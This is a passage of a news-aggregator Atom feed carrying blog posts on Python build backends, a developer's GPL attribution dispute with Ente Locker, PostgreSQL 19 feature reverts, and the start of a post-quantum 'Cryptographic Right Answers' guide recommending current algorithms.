&lt;p&gt;What about the advantages? Well, I’m aware of two reasons to use uv-build. One is consistency with using uv for your project, and it doesn’t really matter. It’s a backend and the whole point of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://peps.python.org/pep-0517/&quot;&gt;PEP 517&lt;/a&gt; is that you can use any backend with any tool. You can use flit-core, you can use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pypi.org/project/hatchling/&quot;&gt;hatchling&lt;/a&gt;, and either of them will work just fine with uv (or any other frontend). The other reason is performance and that argument makes even less sense. Even if it mattered, we’re realistically talking about a difference in the ballpark of 100 ms, for an action executed rarely; it is equally possible that any gain will be outweighed by the time needed to fetch the 1.5 MiB wheel for uv-build. But it doesn’t matter, because realistically the backend is only used by project developers, contributors, CI/CD workflows, downstream packagers and users of source distributions; all regular users use wheels instead. Of these groups, source distribution user group is the largest and the most impacted, and any performance gain is defeated by the time spent building uv-build.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:e0d120a099251e51a644333417fe65bea1aeafd0</id>
    <title type="text">Did Ente Locker copy my code without attribution?</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-13-did-ente-locker-copy-my-code-without-attribution/"/>
    <link rel="via" type="text/html" href="https://fairscan.org/blog/did-ente-locker-copy-my-code-without-attribution/"/>
    <published>2026-10-13T13:44:47+00:00</published>
    <updated>2026-10-13T13:44:47+00:00</updated>
    <author>
      <name>fairscan.org via tusharhero</name>
    </author>
    <category term="news"/>
    <category term="law"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;The last blog post I wrote explained &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/open-source-and-gpl/&quot;&gt;why I chose to make FairScan open source&lt;/a&gt;. In particular, I said I knew there was a risk when I published FairScan&#39;s code and I was ready to accept it. I didn&#39;t expect to face that reality so soon.&lt;/p&gt;
&lt;h2&gt;What happened to me over the past few weeks&lt;/h2&gt;
&lt;p&gt;I had never heard of Ente before September 16. On that day, I received an email from one of their engineers. The message thanked me for FairScan and announced that the Ente Locker app now used FairScan&#39;s segmentation model as part of a new document scanning feature. It referred to a blog post that credited FairScan&#39;s model and claimed that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/did-ente-locker-copy-my-code-without-attribution/from-scratch.webp&quot;&gt;Ente &amp;quot;wrote the image processing around it from scratch&amp;quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I had put significant effort into FairScan&#39;s image processing so I was curious to see how Ente solved the same problems. What I found is that multiple image-processing implementations appeared to be almost direct translations of FairScan&#39;s implementations from Kotlin to Rust.&lt;/p&gt;
&lt;p&gt;I replied by email on September 17. The engineer quickly answered that their blog post &amp;quot;could have been better phrased&amp;quot;, and that it was reworded. I could see that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://ente.com/blog/locker-document-scanner/&quot;&gt;the new version&lt;/a&gt; replaced the &amp;quot;from scratch&amp;quot; claim with something rather vague and still insisted on the segmentation model.&lt;/p&gt;
&lt;p&gt;The same day, I sent a list of links to compare FairScan and Ente&#39;s code. I mentioned that I couldn&#39;t find any attribution to FairScan in the Ente repository.&lt;/p&gt;
&lt;p&gt;On September 21, I received a reply from the same engineer that those were &amp;quot;fairly standard image-processing methods&amp;quot; and that the code had been subsequently fully rewritten. In their repository, I found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/ente/ente/pull/13053&quot;&gt;a pull request affecting more than 6,000 lines&lt;/a&gt;. Of course, it cannot change the code that was distributed in Locker 1.0.9.&lt;/p&gt;
&lt;p&gt;On the same day, I sent an email to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://ente.com/contact/&quot;&gt;copyright@ente.com&lt;/a&gt; to ask for the company&#39;s view on this. As of October 12, I still haven&#39;t received an answer.&lt;/p&gt;
&lt;p&gt;On September 29, I published &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://mastodon.social/@pynicolas/117352788210310140&quot;&gt;a post&lt;/a&gt; on Mastodon linking to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/pynicolas/e018ef84464a2cf7949fa453e41cfead&quot;&gt;a GitHub gist where I documented this timeline as well as code similarities&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Standard methods or direct translation?&lt;/h2&gt;
&lt;p&gt;Feel free to have a look at the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/pynicolas/e018ef84464a2cf7949fa453e41cfead#code-comparison&quot;&gt;code comparisons&lt;/a&gt; in the gist linked above and form your own opinion, even if you&#39;re not a developer. You can use the &amp;quot;split view&amp;quot; of your browser for side-by-side comparisons. Here&#39;s an example:&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/did-ente-locker-copy-my-code-without-attribution/comparison.webp&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://fairscan.org/blog/did-ente-locker-copy-my-code-without-attribution/comparison.webp&quot; alt=&quot;&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the implementations I compared, I found the following similarities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The same overall structure&lt;/li&gt;
&lt;li&gt;The same algorithms&lt;/li&gt;
&lt;li&gt;The same names for functions and variables&lt;/li&gt;
&lt;li&gt;The same hard-coded values&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To me, it looks like an almost direct translation from Kotlin to Rust. There are differences but they&#39;re not easy to spot.&lt;/p&gt;
&lt;p&gt;Of course, I have a special position about this code. I wrote it, so I know where it comes from. I know it&#39;s the result of a lot of effort:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I researched existing techniques like multi-scale Retinex, single view metrology, or gray world white balance.&lt;/li&gt;
&lt;li&gt;I assembled &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/the-heart-of-fairscan-image-processing-pipeline-explained/&quot;&gt;an image pipeline&lt;/a&gt; that fits the segmentation model.&lt;/li&gt;
&lt;li&gt;I started with some simple techniques (such as Douglas Peucker) that I later replaced.&lt;/li&gt;
&lt;li&gt;I developed &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/where-to-cut-automatic-document-cropping/&quot;&gt;my own algorithm to approximate a quad based on contour orientation&lt;/a&gt; (which is probably not optimal).&lt;/li&gt;
&lt;li&gt;I had to make choices about &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/what-s-a-good-scan/&quot;&gt;what a scan should look like&lt;/a&gt;: not all apps make the same choices.&lt;/li&gt;
&lt;li&gt;I tested the behavior of my implementations and their parameter values &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/color-detection-data-driven/&quot;&gt;on hundreds of images&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;I fixed many bugs in my implementations.&lt;/li&gt;
&lt;li&gt;I wrote blog posts about some of the numerous iterations I made, illustrating my trial and error process.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How can that be called &amp;quot;standard methods&amp;quot;? I would like to know where similar code can be found because it would have saved me a lot of work. Actually, if it already existed, I would probably not have started FairScan.&lt;/p&gt;
&lt;h2&gt;Silence discourages me&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Ente has not acknowledged the code similarities as an issue&lt;/strong&gt;, publicly or privately. In response to my comparisons, the engineer described the code as &amp;quot;fairly standard image-processing methods&amp;quot;, but this didn&#39;t address the similarities I had pointed out. If there&#39;s no problem, why did they rewrite more than 6,000 lines in 3 days after my email? Why don&#39;t they answer my questions?&lt;/p&gt;
&lt;p&gt;Here&#39;s the key: if Ente&#39;s code was derived from FairScan in a way that makes it subject to the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/pynicolas/FairScan/blob/main/LICENSE&quot;&gt;GPL&lt;/a&gt;, its distribution raises questions about compliance with that license.&lt;/p&gt;
&lt;p&gt;Should I take legal action? That&#39;s not what I want for FairScan. But I also don&#39;t want this issue to remain unaddressed, leaving others to form their opinion based on Ente&#39;s public statements alone.&lt;/p&gt;
&lt;p&gt;Ente widely promoted the new feature on social media and platforms such as Reddit. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lnkd.in/p/eTpnkpNu&quot;&gt;Its CEO praised Locker publicly with these words: &amp;quot;Best opensource document scanner I&#39;ve ever used&amp;quot;.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On my side, I&#39;ve been very careful until now. I initially communicated only privately with Ente. When I published a Mastodon post, it was very factual: I didn&#39;t make spectacular accusations and maybe because of that, there were almost no reactions.&lt;/p&gt;
&lt;p&gt;I suspect very few people know about this situation. From the outside, Ente can continue promoting its scanning feature without having to address the concerns I&#39;ve raised. The issue remains unresolved and Ente can continue ignoring me.&lt;/p&gt;
&lt;p&gt;The fact that almost no one reacted is discouraging to me. Over the past few weeks, I&#39;ve spent more time thinking about this than working on the rest of FairScan. It probably doesn&#39;t deserve it but I simply can&#39;t accept that situation. What&#39;s the point of open-source transparency and accountability?&lt;/p&gt;
&lt;p&gt;I&#39;d genuinely like to hear from other developers who have looked at these comparisons. Do these similarities suggest that Ente&#39;s code was derived from FairScan? &lt;strong&gt;I would be grateful to anyone who can share an independent perspective on this case.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Open source doesn&#39;t equal respect&lt;/h2&gt;
&lt;p&gt;This episode makes me take another look at my position about open source.&lt;/p&gt;
&lt;p&gt;FairScan is my attempt to make a respectful app: an app that is both &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fairscan.org/blog/a-respectful-app/&quot;&gt;respectful to its users&lt;/a&gt; and respectful in the way it&#39;s made. I think it&#39;s now clearer to me that those two aspects don&#39;t necessarily go together. I still believe that open source is one of the best ways users have to assess whether an app can be trusted (caveat: it can still contain &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://f-droid.org/docs/Anti-Features/&quot;&gt;anti-features&lt;/a&gt;). However, it&#39;s perfectly possible to make an open source app in a disrespectful way, for example by copy-pasting code without acknowledging its origins.&lt;/p&gt;
&lt;p&gt;Yes, the risk I identified before publishing my code is real. In fact, any open source code can be copied without attribution. I knew that closed-source software could incorporate open-source code without complying with its license, and that proving such a violation could be difficult. Maybe I accepted this risk because I cannot know when it actually happens. What I didn&#39;t consider was that open-source software could do the same, and that in that case, I could see it with my own eyes.&lt;/p&gt;
&lt;p&gt;I knew that other projects could reuse FairScan&#39;s code even if they don&#39;t share my vision, but I did expect that the origins of the code would be acknowledged honestly.&lt;/p&gt;
&lt;p&gt;What happened is something I wasn&#39;t ready for. I put a lot of myself into FairScan, perhaps too much: seeing my work dismissed as if it had no value is very hard not to take personally. Today, this makes me question my motivation to contribute to open-source software.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:7c224642358d37b7c11fe09d3ce6b876d686c2ea</id>
    <title type="text">The reverts will continue until morale improves</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-13-the-reverts-will-continue-until-morale-improves/"/>
    <link rel="via" type="text/html" href="http://peter.eisentraut.org/blog/2026/10/09/the-reverts-will-continue-until-morale-improves"/>
    <published>2026-10-13T11:37:06+00:00</published>
    <updated>2026-10-13T11:37:06+00:00</updated>
    <author>
      <name>peter.eisentraut.org via kngl</name>
    </author>
    <category term="news"/>
    <category term="databases"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Many readers will be aware that an unusually high number of features have been reverted from the PostgreSQL 19 branch after the beta period began. Having some reverts is not unusual, maybe one per cycle could be expected. But this time around, about 8 to 10 significant features, depending on how you count, have been reverted, and some of them quite late in the beta period. I have been on the receiving end of some of that, as the developer or committer of some of those features, and have gotten some questions about it, and so I want to take a moment to reflect on this. I’ll try to extrapolate a little bit to similarly affected work that I was not actively involved in, but these are just my opinions at this point.&lt;/p&gt;
&lt;p&gt;So what happened?&lt;/p&gt;
&lt;p&gt;I don’t think we, meaning all the developers affected, have had enough time to fully reflect on all this. But here are some thoughts. It’s probably a combination of these, and a different combination in the case of each reverted feature.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Maybe we just didn’t do a good enough job. Maybe the code was just not good enough. We’ll learn and improve. It’s probably some of that, and I’m mentioning it here to not give the impression that it was only the other factors that I’m going to mention.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It could also be a coincidence. Maybe we had been on such a good roll that we attempted to tackle several features that turned out to be too hard, or at least too hard to finish in time.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some of the reverted features had significant architectural defects that would have been hard to fix quickly and during beta. But there was also a long tail of relatively harmless issues involving various edge cases. In past times, many of these would not have surfaced until much later and we would have fixed them bit by bit over the subsequent five years. But with LLM-assisted code review, these kinds of things can get found much faster, and then you’re staring at a list of like forty defect reports. And even if each of them requires only a three-line fix on average, there is a fixed overhead to dealing with each of these, and then you run out of time. Most if not all of the affected reverted features were written a long time ago when LLM-assisted code review was not as useful as it is now, meaning that the effective quality bar has been raised after the time the feature was written and committed. Unless the capabilities of LLM-assisted code review keep improving at the current rate, this situation should sort itself out for future development cycles.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A corollary of that is that, at least for the most part, as far as I can tell, this situation is &lt;em&gt;not&lt;/em&gt; due to “vibe coding”. This code was written well before that was a possibility.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Because of the Vulnpocalypse, many senior developers were busy between, say, April (the start of feature freeze for PostgreSQL 19, and also the start of the Vulnpocalypse) and August (the most recent PostgreSQL security release) with working on fixes for security issues. Because of that, the usual additional review and testing that happens during the beta period was reduced, and then picked up again in August. That’s possibly why a lot of new issues were discovered quite late in the beta period and why so many reverts happened so late, which is what made all of this so notable. Again, some issues were more fundamental but there was also a long tail of smaller issues, and I feel with more time, say, two months, these could have been addressed (given adequate focus, but note that the Vulnpocalypse is ongoing). But the community preferred trying to stick to the release schedule rather than delaying to get more fixes in. (And you never know how long a long tail really is.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The complexity of the system has made some kinds of features extremely complex to get right, and there is not enough scaffolding in the code to support that. Consider, as an abstracted example, some SQL-level query language feature. Does it work with domains? How about with domains over a composite type? Where one of the fields is also a domain? And the domain has a not null constraint? And one of the columns was dropped and re-added? And this is part of a table partition that has been detached and reattached with a different column order? And this is part of a view that is called from a security-definer function from a trigger? And so on. No one can manually test this or even enumerate these test cases. But LLM-assisted fuzzing can find problems with this really quickly. So this probably needs to be part of feature development in the future. But we should also think about making the internal interfaces more robust so that each different combination of contexts doesn’t open up so many new possibilities of interactions.&lt;/p&gt;
&lt;p&gt;I like to say, in PostgreSQL, “everything works with everything”. This is part of the appeal, that you &lt;em&gt;can&lt;/em&gt; construct cases like this and expect them to work. I don’t want to give up on that at all. But it does impose a significant penalty on feature development that everyone needs to be aware of.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As a final point, the PostgreSQL development community has been contemplating for some time the possibility of committing features with some kind of “experimental” status and then maturing them in the main tree. This would also be one possibility to address the previous point. This would have been a helpful tool for at least some of the reverted features, but we haven’t yet figured out a way to do this, and some of the work suffered from misunderstandings related to this. This is a concrete point to work on.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So what’s next?&lt;/p&gt;
&lt;p&gt;First of all, from my personal perspective, thank you to everyone who has reached out in person or online to express support and encouragement. That’s the most important thing. I’m confident that many of the reverted features will come back before too long.&lt;/p&gt;
&lt;p&gt;PostgreSQL 19 will still be a great release. REPACK CONCURRENTLY, logical replication of sequences (itself a previously reverted feature), and planner hinting with pg_plan_advice, just to pick a few headline items, will make this release very attractive. And it will be very robust, after all the additional scrutiny.&lt;/p&gt;
&lt;p&gt;It’s difficult to predict things now. A few months ago I said, PostgreSQL 20 might have no new features, just bug fixes. It turned out that things moved even faster, and PostgreSQL 19 now, kind of, has half as many major features as then expected, but now we also already have a few nice 80%-ready features queued up for PostgreSQL 20 that just need those remaining 80% to get done!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:74e8667cd353a7a9417d7e657b422e1fab338e43</id>
    <title type="text">Vi Hart&#39;s Big Navier-Stokes Post</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-13-vi-hart-s-big-navier-stokes-post/"/>
    <link rel="via" type="text/html" href="https://www.patreon.com/vihart/posts/vi-harts-big-171939430"/>
    <published>2026-10-13T01:29:49+00:00</published>
    <updated>2026-10-13T01:29:49+00:00</updated>
    <author>
      <name>patreon.com via archagon</name>
    </author>
    <category term="news"/>
    <category term="math"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/j30pg4/vi_hart_s_big_navier_stokes_post&quot;&gt;Comments&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:64bbb9c12a49e7ef9b465d98710fdcfe16489daf</id>
    <title type="text">(Post-Quantum) Cryptographic Right Answers</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-12-post-quantum-cryptographic-right-answers/"/>
    <link rel="via" type="text/html" href="https://words.filippo.io/right-answers/"/>
    <published>2026-10-12T13:44:38+00:00</published>
    <updated>2026-10-12T13:44:38+00:00</updated>
    <author>
      <name>words.filippo.io via jtdowney</name>
    </author>
    <category term="news"/>
    <category term="cryptography"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Publishing “Cryptographic Right Answers” for developers is a tradition by now. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.daemonology.net/blog/2009-06-11-cryptographic-right-answers.html&quot;&gt;Colin Percival started in 2009&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/tqbf/be58d2d39690c3b366ad&quot;&gt;Thomas Ptacek followed up in 2015&lt;/a&gt;, and then &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.latacora.com/blog/cryptographic-right-answers/&quot;&gt;Latacora carried on in 2018&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.latacora.com/blog/post-quantum-cryptographic-right-answers/#pqc-right-answers&quot;&gt;2024&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It might feel too soon for an update, but &lt;em&gt;so much has changed&lt;/em&gt;. The timeline of the post-quantum transition &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/crqc-timeline/&quot;&gt;dramatically shifted in early 2026&lt;/a&gt;, and there is now consensus that it needs to complete by 2029. 2029! We have three years!&lt;/p&gt;
&lt;p&gt;The good news is that, despite what you might have heard, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/128-bits/&quot;&gt;symmetric cryptography is going to be fine, because Grover does not matter&lt;/a&gt;. The bad news is that all asymmetric answers changed compared to 2018 and most even compared to 2024.&lt;/p&gt;
&lt;p&gt;The answers below assume you are not constrained by any specific compliance regime, although they are mostly compatible with FIPS 140.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-1&quot; id=&quot;fnref-1&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; If you need to follow something stricter like CNSA 2.0, you’ll know. Just substitute as appropriate.&lt;/p&gt;
&lt;p&gt;Finally, remember the other big change of 2026: LLMs are very good at finding bugs now. “Get a review from the best model you can afford” is now firmly a Cryptographic Right Answer, along with the long-time classic “use a memory-safe language.”&lt;/p&gt;
&lt;p&gt;If you’re in a rush, here’s the cheat sheet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Encrypting data&lt;/strong&gt;: If you’re in the cloud, KMS. Otherwise, XAES-256-GCM or XChaCha20Poly1305 with random nonces. If you’re encrypting more than a few MB, use Cobblestone-128.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symmetric key length&lt;/strong&gt;: Don’t stress it. 256-bit keys if you need to pick.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symmetric “signatures”&lt;/strong&gt;: HMAC-SHA-256.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hash algorithm&lt;/strong&gt;: SHA-2 is still fine, but use a real multihash (SequenceHash) if needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Random IDs&lt;/strong&gt;: 32 random bytes, a.k.a. 256-bit random numbers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password handling&lt;/strong&gt;: Argon2id or scrypt. But have you considered passkeys instead?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key exchange&lt;/strong&gt;: X25519+ML-KEM-768 in a secure, standard protocol.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Asymmetric encryption&lt;/strong&gt;: HPKE with (MLKEM768-X25519 a.k.a. X-Wing, HKDF-SHA256, AES-128-GCM), or age with PQ keys.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Asymmetric signatures&lt;/strong&gt;: ML-DSA-44.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Website or client-server application security&lt;/strong&gt;: If you’re in the cloud, use its ALB/NLB. Otherwise, rustls, Go’s crypto/tls, BoringSSL, AWS-LC, or s2n-tls with a popular, updated ACME client.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Online backups&lt;/strong&gt;: restic with a long random password.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now let’s dive in.&lt;/p&gt;
&lt;h3&gt;Encrypting data&lt;/h3&gt;
&lt;p&gt;If you’re in the cloud, &lt;strong&gt;KMS&lt;/strong&gt;. Otherwise, &lt;strong&gt;XAES-256-GCM&lt;/strong&gt; or &lt;strong&gt;XChaCha20Poly1305&lt;/strong&gt; with random nonces. If you’re encrypting more than a few MB, use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://c2sp.org/chunked-encryption&quot;&gt;&lt;strong&gt;Cobblestone-128&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: AES-CTR with HMAC.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: NaCl/libsodium default, or ChaCha20Poly1305, or AES-GCM.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: KMS, or XSalsa20+Poly1305.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: KMS, or NaCl’s secretbox, or XChaCha20Poly1305.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.latacora.com/blog/cryptographic-right-answers/#encrypting-data&quot;&gt;Latacora’s reasoning for why and when you’d use your cloud’s KMS&lt;/a&gt; is still solid, so start there.&lt;/p&gt;
&lt;p&gt;If you’re encrypting locally, you want an AEAD where you can avoid worrying about tracking nonces or how many messages you encrypted, so you want random nonces of at least 128 bits.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-2&quot; id=&quot;fnref-2&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;NaCl/libsodium’s secretbox is just a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/nacl-api/&quot;&gt;paper-thin wrapper&lt;/a&gt; around a less common AE construction (XSalsa20+Poly1305), so instead I recommend &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/xaes-256-gcm/&quot;&gt;XAES-256-GCM&lt;/a&gt; or XChaCha20Poly1305. The former is an efficient composition of a standard KDF and AES-GCM, packaged as an extended-nonce AEAD, so even if your library doesn’t provide it under that name you can assemble it from the KDF and AES-GCM APIs.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-3&quot; id=&quot;fnref-3&quot; data-footnote-ref&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Regular AES-GCM and ChaCha20Poly1305 with random nonces are only ok if you &lt;em&gt;know for certain&lt;/em&gt; you won’t encrypt more than a billion messages with one key. AES-GCM-SIV is also a good AEAD choice if you happen to have it everywhere you need it, but that’s kinda unlikely. Some even newer options have nice properties like key commitment, but are not commonly available yet.&lt;/p&gt;
&lt;p&gt;Since you have an AEAD, consider putting context in the additional data, like the user ID you’re encrypting for, or the version of the protocol. Anything not secret that you will definitely still know at decrypt time.&lt;/p&gt;
&lt;p&gt;Very important is how you handle large messages, which KMS will not solve for you. &lt;em&gt;Do not&lt;/em&gt; pass one large message to an AEAD, or you might be forced to process or store the plaintext before having authenticated it at decrypt time. &lt;em&gt;Absolutely do not&lt;/em&gt; use unauthenticated stream ciphers. Instead, you should use STREAM (which is not a stream cipher but a way to use AEADs on a stream… I know, I know, terrible name). There are a lot of options—too many, in fact—and shamefully none are the consensus answer. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://developers.google.com/tink/encrypt-large-files-or-data-streams#streaming_aead&quot;&gt;Tink has one&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://libsodium.gitbook.io/doc/secret-key_cryptography/secretstream&quot;&gt;libsodium has one&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/aws/aws-encryption-sdk-python/blob/a6c0413bb0ddc9bccdefad9f1d2c031e0bc4db29/examples/src/file_streaming_example.py&quot;&gt;the AWS Encryption SDK has one&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://c2sp.org/FLOE&quot;&gt;FLOE is one&lt;/a&gt;, age has one, and the list goes on. I recommend &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://c2sp.org/chunked-encryption&quot;&gt;Cobblestone-128&lt;/a&gt;, which is a STREAM variant derived from TLS, and is available in pyca/cryptography and soon in the Go standard library (and in the meantime at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://filippo.io/cobblestone&quot;&gt;filippo.io/cobblestone&lt;/a&gt;).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-4&quot; id=&quot;fnref-4&quot; data-footnote-ref&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: unauthenticated modes (CBC, CTR, raw stream ciphers), random 96-bit nonces unless you spent a lot of time thinking about how many messages you encrypt, rolling your own AEAD construction.&lt;/p&gt;
&lt;h3&gt;Symmetric key length&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Don’t stress it.&lt;/strong&gt; 256-bit keys if you need to pick.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: 256-bit AES keys.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: 256-bit keys.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: 256-bit keys.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: 256-bit keys.&lt;/p&gt;
&lt;p&gt;Remember that Grover doesn’t actually matter and 128-bit brute-force attacks don’t exist. Still, 256-bit keys rule out multi-target attacks, which is nice.&lt;/p&gt;
&lt;p&gt;However, don’t make other decisions based on this. For example, the recommended Cobblestone suite uses 128-bit keys and that’s fine because it has a careful analysis of multi-target attacks. Likewise, don’t go changing the default cipher suite preferences of your TLS library to enforce 256-bit keys; there’s no need.&lt;/p&gt;
&lt;p&gt;AES-256 is slower than AES-128 because unfortunately Rijndael ties the number of rounds to the key size, but this probably won’t matter in practice.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: anything other than 128 or 256 bits, worrying too much about size, keys that are not uniform (e.g. using a password or ASCII hex string directly as a key).&lt;/p&gt;
&lt;h3&gt;Symmetric “signatures”&lt;/h3&gt;
